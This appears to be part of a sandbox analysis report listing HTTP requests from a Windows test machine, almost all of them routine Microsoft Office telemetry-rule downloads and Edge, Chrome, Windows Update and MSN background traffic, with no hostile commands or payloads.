Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7VDkYBFS+RsHNE7&MD=Hwtk8Gd+ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732728792496&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1E3415CF46DC6CBF03A7008B47566DA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
